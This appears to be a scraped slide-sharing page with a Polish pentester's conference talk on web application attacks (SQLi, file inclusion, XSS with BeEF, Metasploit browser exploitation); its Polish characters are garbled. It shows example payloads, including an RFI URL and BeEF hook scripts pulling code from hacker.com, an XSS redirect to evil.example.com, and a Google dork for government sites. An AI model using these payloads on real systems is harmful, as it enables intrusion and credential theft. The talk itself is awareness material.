際際滷

際際滷Share a Scribd company logo
Adam Ziaja <adam@adamziaja.com>
http://adamziaja.com
Praktyczne ataki na aplikacje webowe
Adam Ziaja, OSCP http://adamziaja.com
 Pentester w du甜ej grupie bankowej
 Test penetracyjny jest to kontrolowany atak na
system teleinformatyczny przeprowadzany z
perspektywy potencjalnego wamywacza
Informacje o prezentacji
 Prezentacja ma na celu uwiadomienie jak prosto
mo甜na wykonywa ataki na aplikacje webowe
 Wszystkie elementy samych atak坦w s symulacjami
przeprowadzonymi w rodowisku laboratoryjnym
(dlatego te甜 wszystkie zrzuty ekran坦w wykonane s z
prywatn klas adresow)
息 Adam Ziaja <adam@adamziaja.com>
Jeden z najsabszych punkt坦w bezpieczestwa IT
 Statystycznie najprostsz metod wamania jest
wykorzystanie podatnej strony internetowej
(nie liczc podatnych ludzi  phishing itd )
息 Adam Ziaja <adam@adamziaja.com>
Ataki na strony rzdowe
dokonywane m.in. przez Anonymous Poland
息 Adam Ziaja <adam@adamziaja.com>
 Czy mo甜na wama si na dugiej przerwie
(20 min)?
Google hacking:
"SQL syntax" site:gov.pl
Google Hacking Database (GHDB)
https://www.exploit-db.com/google-hacking-database/
 Gotowa baza zapyta do wyszukiwarki Google, dziki
kt坦rej znale添 mo甜na m.in. takie informacje jak:
 Podatne strony internetowe (np. przez komunikaty z
bdami oraz stopki zawierajce informacje o
dziaajcym oprogramowaniu, czsto wraz z wersj)
 Gboko ukryte pliki (czyli w trudnej do odgadnicia
lokalizacji)
 Hasa, numery kart kredytowych
 Urzdzenia sieciowe (np. podatne routery)
 wszystko co znalaza wyszukiwarka Google
息 Adam Ziaja <adam@adamziaja.com>
SQL Injection (SQLi)
息 Adam Ziaja <adam@adamziaja.com>
bd SQLi wystpuj wtedy kiedy
u甜ytkownik mo甜e zmodyfikowa
zapytanie do serwera w taki spos坦b,
甜e aplikacja przele je dalej, a baza
danych wykona zmodyfikowane
zapytanie
mo甜e r坦wnie甜 zawiera komunikat o bdzie z bazy danych
(oczywicie tylko w przypadku jego wystpienia)
atak SQL Injection jest atakiem
typu server-side (po stronie serwera),
atakowany jest bezporednio serwer
息 Adam Ziaja <adam@adamziaja.com>
/* zrzuty ekranu z marca 2013, bd ju甜 nie istnieje */
SQL Injection (SQLi)
息 Adam Ziaja <adam@adamziaja.com>
SELECT * FROM `pages` WHERE `pages_tag` = '2'' LIMIT 1
w tym miejscu mo甜emy zmodyfikowa zapytanie do bazy danych MySQL
komunikat o bdzie w zapytaniu SQL zwr坦cony przez baz danych MySQL
SQL Injection (SQLi)
 Czy trzeba zna jzyk SQL i techniki
manipulacji zapytaniami aby si wama?
 sqlmap  narzdzie do automatycznych
atak坦w SQL Injection
息 Adam Ziaja <adam@adamziaja.com>
 Krok po kroku
 Jeli nie wiadomo co
klikn wystarczy ENTER i
wybrana zostanie
domylna warto
 Efektem kocowym jest
uzyskanie dostpu do
wiersza polece systemu
operacyjnego z
uprawieniami aplikacji
www
 Najczciej wystpuje ju甜
wtedy mo甜liwo
podmiany zawartoci
strony internetowej
 Ew. dalsza rczna lub
automatyczna eskalacja
uprawnie np. przy
pomocy modu坦w MSF do
atak坦w lokalnych
息 Adam Ziaja <adam@adamziaja.com>
Metasploit Framework (MSF)
Oprogramowanie su甜ce do test坦w
penetracyjnych i amania zabezpiecze
system坦w teleinformatycznych
息 Adam Ziaja <adam@adamziaja.com>
SQL Injection (SQLi)
 SQL Injection to nie tylko problem aplikacji
webowych, ataki mo甜na przeprowadza na
wiele sposob坦w np. przez:
 Oprogramowanie OCR (technika rozpoznawania
tekstu w plikach graficznych)
 Kod kreskowy
 []
息 Adam Ziaja <adam@adamziaja.com>
SQL Injection w 甜yciu codziennym
息 Adam Ziaja <adam@adamziaja.com>
spos坦b na fotoradary?
(OCR)
SQL Injection w 甜yciu codziennym
息 Adam Ziaja <adam@adamziaja.com>
Przykadowe kody kreskowe mogce ujawni podatno SQLi:
Remote File Inclusion (RFI)
 Mo甜liwo zdalnego zaadowania pliku,
kt坦rego zawarto zostanie wykonana po
stronie podatnego serwera
 Dziki zaadowaniu payloadu MSF uzyskujemy
dostp do wiersza polece systemu
operacyjnego
 abc.pl/i.php?file=http://hacker.com/msf.txt
息 Adam Ziaja <adam@adamziaja.com>
Local File Inclusion (LFI)
 Mo甜liwo zaadowania lokalnego pliku,
kt坦rego zawarto zostanie wykonana
 Analogicznie do RFI jeli jest mo甜liwo
zaadowania payloadu MSF to istnieje
mo甜liwo uzyskania dostpu to wiersza
polece systemu operacyjnego
 abc.pl/i.php?file=/tmp/msf.txt
息 Adam Ziaja <adam@adamziaja.com>
Local File Inclusion (LFI)
息 Adam Ziaja <adam@adamziaja.com>
Przykadowy scenariusz ataku bez MSF, w przypadku jeli
serwer www mo甜e odczyta wasne logi:
Local File Inclusion (LFI)
息 Adam Ziaja <adam@adamziaja.com>
Local File Inclusion (LFI)
息 Adam Ziaja <adam@adamziaja.com>
nastpnie lokalna eskalacja uprawnie
np. przez luki w konfiguracji lub exploitacj
Bezpieczestwo aplikacji webowych to nie tylko
ataki po stronie serwera, ale r坦wnie甜 ataki
client-side (po stronie klienta), w kt坦rych
atakowany jest bezporednio klient.
息 Adam Ziaja <adam@adamziaja.com>
Cross-Site Scripting (XSS)
 Atak polegajcy na osadzeniu w treci atakowanej
strony kodu wykonywanego po stronie klienta
(zazwyczaj) JavaScript (np. umieszczony w komentarzu)
 Dwie g坦wne metody atak坦w XSS:
 Stored
 Reflected
息 Adam Ziaja <adam@adamziaja.com>
Stored XSS
息 Adam Ziaja <adam@adamziaja.com>
Reflected XSS
息 Adam Ziaja <adam@adamziaja.com>
XSS payload (adunek)
<script>
document.body.innerHTML='Aby zobaczy t stron musisz si
<a href="http://evil.example.com">zalogowa</a>. Za 5
sekund zostaniesz automatycznie przeniesiony do strony
logowania.'
setTimeout('location.replace("http://evil.example.com")',
5000)
</script>
息 Adam Ziaja <adam@adamziaja.com>
XSS, mo甜liwoci m.in.:
 Kradzie甜 powiadcze (np. zawarto cookies)
 Modyfikacja treci i wygldu strony
 Przekierowanie na inn stron
 Podsuch w obrbie danej strony internetowej
息 Adam Ziaja <adam@adamziaja.com>
 BeEF http://beefproject.com  framework do
atak坦w XSS
息 Adam Ziaja <adam@adamziaja.com>
zielona ramka  ofiara
czerwona ramka  atakujcy
przykadowa zmienna GET podatna na reflected XSS
XSS payload (adunek) nawizujcy poczenie z BeEFem
strona zawiera panel logowania
息 Adam Ziaja <adam@adamziaja.com>
 Og坦lne dane o
przegldarce oraz
systemie
 Aktywne
komponenty itp
 Atakujcy przy pomocy BeEF-a umieszcza keylogger w
pywajcej ramce, w kt坦rej zaaduje si login.php
 Atakujcy podsya ofierze odnonik z XSS-em
息 Adam Ziaja <adam@adamziaja.com>
 %3Cscript%20src%3Dhttp%3A//hacker.com%3A3000/hook.js%3E%3C/script%3E
 %3Cscript%20src%3Dhttp%3A//xn--kda4b0koi.pl%3E%3C/script%3E
 xn--kda4b0koi.pl  zakodowana forma (ACE) domeny 甜坦.pl
息 Adam Ziaja <adam@adamziaja.com>
息 Adam Ziaja <adam@adamziaja.com>
Przykadowy scenariusz ataku
(w przypadku podatnoci XSS na routerze)
息 Adam Ziaja <adam@adamziaja.com>
 Atakujcy ustawia
proxy w przegldarce
na 127.0.0.1:6789
 czy si do strony
podatnej na XSS za
porednictwem
komputera ofiary
(czyli z jej adresem IP)
 Loguje si
podsuchanym
hasem lub pr坦buje
domylne haso dla
danego routera
 Zmiana adres坦w DNS,
poznanie hasa WiFi
Cross-Site Scripting (XSS)
Podatno mo甜na wykorzysta nie tylko do kradzie甜y
powiadcze ale r坦wnie甜 np.:
 Ataku (D)DoS (szczeg坦lnie w przypadku stored XSS)
 Przekierowania (analogicznie jak w pierwszym
przykadzie location.replace) na payload
Metasploita w celu zaatakowania podatnej
przegldarki u甜ytkownika
息 Adam Ziaja <adam@adamziaja.com>
Atak z wykorzystaniem MSF
息 Adam Ziaja <adam@adamziaja.com>
息 Adam Ziaja <adam@adamziaja.com>
 Exploit na IE8
 Atakujcy zyskuje
peen dostp do
wiersza polece
systemu Windows
 i mo甜e zrobi to
samo co w trybie
graficznym
w przypadku jeli
u甜ytkownik nie dziaa z
prawami administratora
息 Adam Ziaja <adam@adamziaja.com>
 Uzyskanie uprawnie
administratora przez
zastosowanie
lokalnego exploita
 Dodanie wasnego
u甜ytkownika
 Dodanie uprawnie
administratora
 Dodanie mo甜liwoci
czenia na zdalny
pulpit (RDP)
 Uruchomienie usugi
RDP (nie wystpuje na
zrzucie ekranu)
 Odblokowanie RDP na
firewallu
 Poczenie na RDP
Podsumowanie
Dziki podatnej stronie atakujcy mo甜e np.:
 Uzyska peen dostp do serwera
 Uzyska peen dostp do stacji roboczej
u甜ytkownika
 Dalej na wiele sposob坦w eskalowa zdobyte
uprawienia np. przez sie lokaln do kt坦rej
podpity jest serwer lub u甜ytkownik
息 Adam Ziaja <adam@adamziaja.com>
Prawdziwi hakerzy (w wikszoci
przypadk坦w) nie podmieniaj stron
internetowych ale utrzymuj dostp
息 Adam Ziaja <adam@adamziaja.com>
Podsumowanie
 Zaprezentowana zostaa tylko bardzo niewielka
cz z najpopularniejszych atak坦w
 Bezpieczestwo aplikacji webowych
(publikacja TAPT 2014)  opis atak坦w oraz
metody ich wykrywania z punktu widzenia
informatyki ledczej
息 Adam Ziaja <adam@adamziaja.com>
metodyki test坦w penetracyjnych
Jak 甜y?
Zatrudni pentester坦w lub zleca testy
penetracyjne zewntrznym podmiotom 
息 Adam Ziaja <adam@adamziaja.com>
Czy trzeba w og坦le si zna,
aby si wama?
hasa s jak majtki:
zmieniaj je czsto, nie zostawiaj na widoku i nie po甜yczaj obcym
to zale甜y
息 Adam Ziaja <adam@adamziaja.com>
Adam Ziaja <adam@adamziaja.com>
http://adamziaja.com
Dzikuj za uwag!

More Related Content

Praktyczne ataki na aplikacje webowe (TAPT 2015)

  • 2. Adam Ziaja, OSCP http://adamziaja.com Pentester w du甜ej grupie bankowej Test penetracyjny jest to kontrolowany atak na system teleinformatyczny przeprowadzany z perspektywy potencjalnego wamywacza
  • 3. Informacje o prezentacji Prezentacja ma na celu uwiadomienie jak prosto mo甜na wykonywa ataki na aplikacje webowe Wszystkie elementy samych atak坦w s symulacjami przeprowadzonymi w rodowisku laboratoryjnym (dlatego te甜 wszystkie zrzuty ekran坦w wykonane s z prywatn klas adresow) 息 Adam Ziaja <adam@adamziaja.com>
  • 4. Jeden z najsabszych punkt坦w bezpieczestwa IT Statystycznie najprostsz metod wamania jest wykorzystanie podatnej strony internetowej (nie liczc podatnych ludzi phishing itd ) 息 Adam Ziaja <adam@adamziaja.com>
  • 5. Ataki na strony rzdowe dokonywane m.in. przez Anonymous Poland 息 Adam Ziaja <adam@adamziaja.com> Czy mo甜na wama si na dugiej przerwie (20 min)? Google hacking: "SQL syntax" site:gov.pl
  • 6. Google Hacking Database (GHDB) https://www.exploit-db.com/google-hacking-database/ Gotowa baza zapyta do wyszukiwarki Google, dziki kt坦rej znale添 mo甜na m.in. takie informacje jak: Podatne strony internetowe (np. przez komunikaty z bdami oraz stopki zawierajce informacje o dziaajcym oprogramowaniu, czsto wraz z wersj) Gboko ukryte pliki (czyli w trudnej do odgadnicia lokalizacji) Hasa, numery kart kredytowych Urzdzenia sieciowe (np. podatne routery) wszystko co znalaza wyszukiwarka Google 息 Adam Ziaja <adam@adamziaja.com>
  • 7. SQL Injection (SQLi) 息 Adam Ziaja <adam@adamziaja.com> bd SQLi wystpuj wtedy kiedy u甜ytkownik mo甜e zmodyfikowa zapytanie do serwera w taki spos坦b, 甜e aplikacja przele je dalej, a baza danych wykona zmodyfikowane zapytanie mo甜e r坦wnie甜 zawiera komunikat o bdzie z bazy danych (oczywicie tylko w przypadku jego wystpienia) atak SQL Injection jest atakiem typu server-side (po stronie serwera), atakowany jest bezporednio serwer
  • 8. 息 Adam Ziaja <adam@adamziaja.com> /* zrzuty ekranu z marca 2013, bd ju甜 nie istnieje */
  • 9. SQL Injection (SQLi) 息 Adam Ziaja <adam@adamziaja.com> SELECT * FROM `pages` WHERE `pages_tag` = '2'' LIMIT 1 w tym miejscu mo甜emy zmodyfikowa zapytanie do bazy danych MySQL komunikat o bdzie w zapytaniu SQL zwr坦cony przez baz danych MySQL
  • 10. SQL Injection (SQLi) Czy trzeba zna jzyk SQL i techniki manipulacji zapytaniami aby si wama? sqlmap narzdzie do automatycznych atak坦w SQL Injection 息 Adam Ziaja <adam@adamziaja.com>
  • 11. Krok po kroku Jeli nie wiadomo co klikn wystarczy ENTER i wybrana zostanie domylna warto Efektem kocowym jest uzyskanie dostpu do wiersza polece systemu operacyjnego z uprawieniami aplikacji www Najczciej wystpuje ju甜 wtedy mo甜liwo podmiany zawartoci strony internetowej Ew. dalsza rczna lub automatyczna eskalacja uprawnie np. przy pomocy modu坦w MSF do atak坦w lokalnych 息 Adam Ziaja <adam@adamziaja.com>
  • 12. Metasploit Framework (MSF) Oprogramowanie su甜ce do test坦w penetracyjnych i amania zabezpiecze system坦w teleinformatycznych 息 Adam Ziaja <adam@adamziaja.com>
  • 13. SQL Injection (SQLi) SQL Injection to nie tylko problem aplikacji webowych, ataki mo甜na przeprowadza na wiele sposob坦w np. przez: Oprogramowanie OCR (technika rozpoznawania tekstu w plikach graficznych) Kod kreskowy [] 息 Adam Ziaja <adam@adamziaja.com>
  • 14. SQL Injection w 甜yciu codziennym 息 Adam Ziaja <adam@adamziaja.com> spos坦b na fotoradary? (OCR)
  • 15. SQL Injection w 甜yciu codziennym 息 Adam Ziaja <adam@adamziaja.com> Przykadowe kody kreskowe mogce ujawni podatno SQLi:
  • 16. Remote File Inclusion (RFI) Mo甜liwo zdalnego zaadowania pliku, kt坦rego zawarto zostanie wykonana po stronie podatnego serwera Dziki zaadowaniu payloadu MSF uzyskujemy dostp do wiersza polece systemu operacyjnego abc.pl/i.php?file=http://hacker.com/msf.txt 息 Adam Ziaja <adam@adamziaja.com>
  • 17. Local File Inclusion (LFI) Mo甜liwo zaadowania lokalnego pliku, kt坦rego zawarto zostanie wykonana Analogicznie do RFI jeli jest mo甜liwo zaadowania payloadu MSF to istnieje mo甜liwo uzyskania dostpu to wiersza polece systemu operacyjnego abc.pl/i.php?file=/tmp/msf.txt 息 Adam Ziaja <adam@adamziaja.com>
  • 18. Local File Inclusion (LFI) 息 Adam Ziaja <adam@adamziaja.com> Przykadowy scenariusz ataku bez MSF, w przypadku jeli serwer www mo甜e odczyta wasne logi:
  • 19. Local File Inclusion (LFI) 息 Adam Ziaja <adam@adamziaja.com>
  • 20. Local File Inclusion (LFI) 息 Adam Ziaja <adam@adamziaja.com> nastpnie lokalna eskalacja uprawnie np. przez luki w konfiguracji lub exploitacj
  • 21. Bezpieczestwo aplikacji webowych to nie tylko ataki po stronie serwera, ale r坦wnie甜 ataki client-side (po stronie klienta), w kt坦rych atakowany jest bezporednio klient. 息 Adam Ziaja <adam@adamziaja.com>
  • 22. Cross-Site Scripting (XSS) Atak polegajcy na osadzeniu w treci atakowanej strony kodu wykonywanego po stronie klienta (zazwyczaj) JavaScript (np. umieszczony w komentarzu) Dwie g坦wne metody atak坦w XSS: Stored Reflected 息 Adam Ziaja <adam@adamziaja.com>
  • 23. Stored XSS 息 Adam Ziaja <adam@adamziaja.com>
  • 24. Reflected XSS 息 Adam Ziaja <adam@adamziaja.com>
  • 25. XSS payload (adunek) <script> document.body.innerHTML='Aby zobaczy t stron musisz si <a href="http://evil.example.com">zalogowa</a>. Za 5 sekund zostaniesz automatycznie przeniesiony do strony logowania.' setTimeout('location.replace("http://evil.example.com")', 5000) </script> 息 Adam Ziaja <adam@adamziaja.com>
  • 26. XSS, mo甜liwoci m.in.: Kradzie甜 powiadcze (np. zawarto cookies) Modyfikacja treci i wygldu strony Przekierowanie na inn stron Podsuch w obrbie danej strony internetowej 息 Adam Ziaja <adam@adamziaja.com>
  • 27. BeEF http://beefproject.com framework do atak坦w XSS 息 Adam Ziaja <adam@adamziaja.com> zielona ramka ofiara czerwona ramka atakujcy przykadowa zmienna GET podatna na reflected XSS XSS payload (adunek) nawizujcy poczenie z BeEFem strona zawiera panel logowania
  • 28. 息 Adam Ziaja <adam@adamziaja.com> Og坦lne dane o przegldarce oraz systemie Aktywne komponenty itp
  • 29. Atakujcy przy pomocy BeEF-a umieszcza keylogger w pywajcej ramce, w kt坦rej zaaduje si login.php Atakujcy podsya ofierze odnonik z XSS-em 息 Adam Ziaja <adam@adamziaja.com> %3Cscript%20src%3Dhttp%3A//hacker.com%3A3000/hook.js%3E%3C/script%3E %3Cscript%20src%3Dhttp%3A//xn--kda4b0koi.pl%3E%3C/script%3E xn--kda4b0koi.pl zakodowana forma (ACE) domeny 甜坦.pl
  • 30. 息 Adam Ziaja <adam@adamziaja.com>
  • 31. 息 Adam Ziaja <adam@adamziaja.com> Przykadowy scenariusz ataku (w przypadku podatnoci XSS na routerze)
  • 32. 息 Adam Ziaja <adam@adamziaja.com> Atakujcy ustawia proxy w przegldarce na 127.0.0.1:6789 czy si do strony podatnej na XSS za porednictwem komputera ofiary (czyli z jej adresem IP) Loguje si podsuchanym hasem lub pr坦buje domylne haso dla danego routera Zmiana adres坦w DNS, poznanie hasa WiFi
  • 33. Cross-Site Scripting (XSS) Podatno mo甜na wykorzysta nie tylko do kradzie甜y powiadcze ale r坦wnie甜 np.: Ataku (D)DoS (szczeg坦lnie w przypadku stored XSS) Przekierowania (analogicznie jak w pierwszym przykadzie location.replace) na payload Metasploita w celu zaatakowania podatnej przegldarki u甜ytkownika 息 Adam Ziaja <adam@adamziaja.com>
  • 34. Atak z wykorzystaniem MSF 息 Adam Ziaja <adam@adamziaja.com>
  • 35. 息 Adam Ziaja <adam@adamziaja.com> Exploit na IE8 Atakujcy zyskuje peen dostp do wiersza polece systemu Windows i mo甜e zrobi to samo co w trybie graficznym w przypadku jeli u甜ytkownik nie dziaa z prawami administratora
  • 36. 息 Adam Ziaja <adam@adamziaja.com> Uzyskanie uprawnie administratora przez zastosowanie lokalnego exploita Dodanie wasnego u甜ytkownika Dodanie uprawnie administratora Dodanie mo甜liwoci czenia na zdalny pulpit (RDP) Uruchomienie usugi RDP (nie wystpuje na zrzucie ekranu) Odblokowanie RDP na firewallu Poczenie na RDP
  • 37. Podsumowanie Dziki podatnej stronie atakujcy mo甜e np.: Uzyska peen dostp do serwera Uzyska peen dostp do stacji roboczej u甜ytkownika Dalej na wiele sposob坦w eskalowa zdobyte uprawienia np. przez sie lokaln do kt坦rej podpity jest serwer lub u甜ytkownik 息 Adam Ziaja <adam@adamziaja.com>
  • 38. Prawdziwi hakerzy (w wikszoci przypadk坦w) nie podmieniaj stron internetowych ale utrzymuj dostp 息 Adam Ziaja <adam@adamziaja.com>
  • 39. Podsumowanie Zaprezentowana zostaa tylko bardzo niewielka cz z najpopularniejszych atak坦w Bezpieczestwo aplikacji webowych (publikacja TAPT 2014) opis atak坦w oraz metody ich wykrywania z punktu widzenia informatyki ledczej 息 Adam Ziaja <adam@adamziaja.com> metodyki test坦w penetracyjnych
  • 40. Jak 甜y? Zatrudni pentester坦w lub zleca testy penetracyjne zewntrznym podmiotom 息 Adam Ziaja <adam@adamziaja.com>
  • 41. Czy trzeba w og坦le si zna, aby si wama? hasa s jak majtki: zmieniaj je czsto, nie zostawiaj na widoku i nie po甜yczaj obcym to zale甜y 息 Adam Ziaja <adam@adamziaja.com>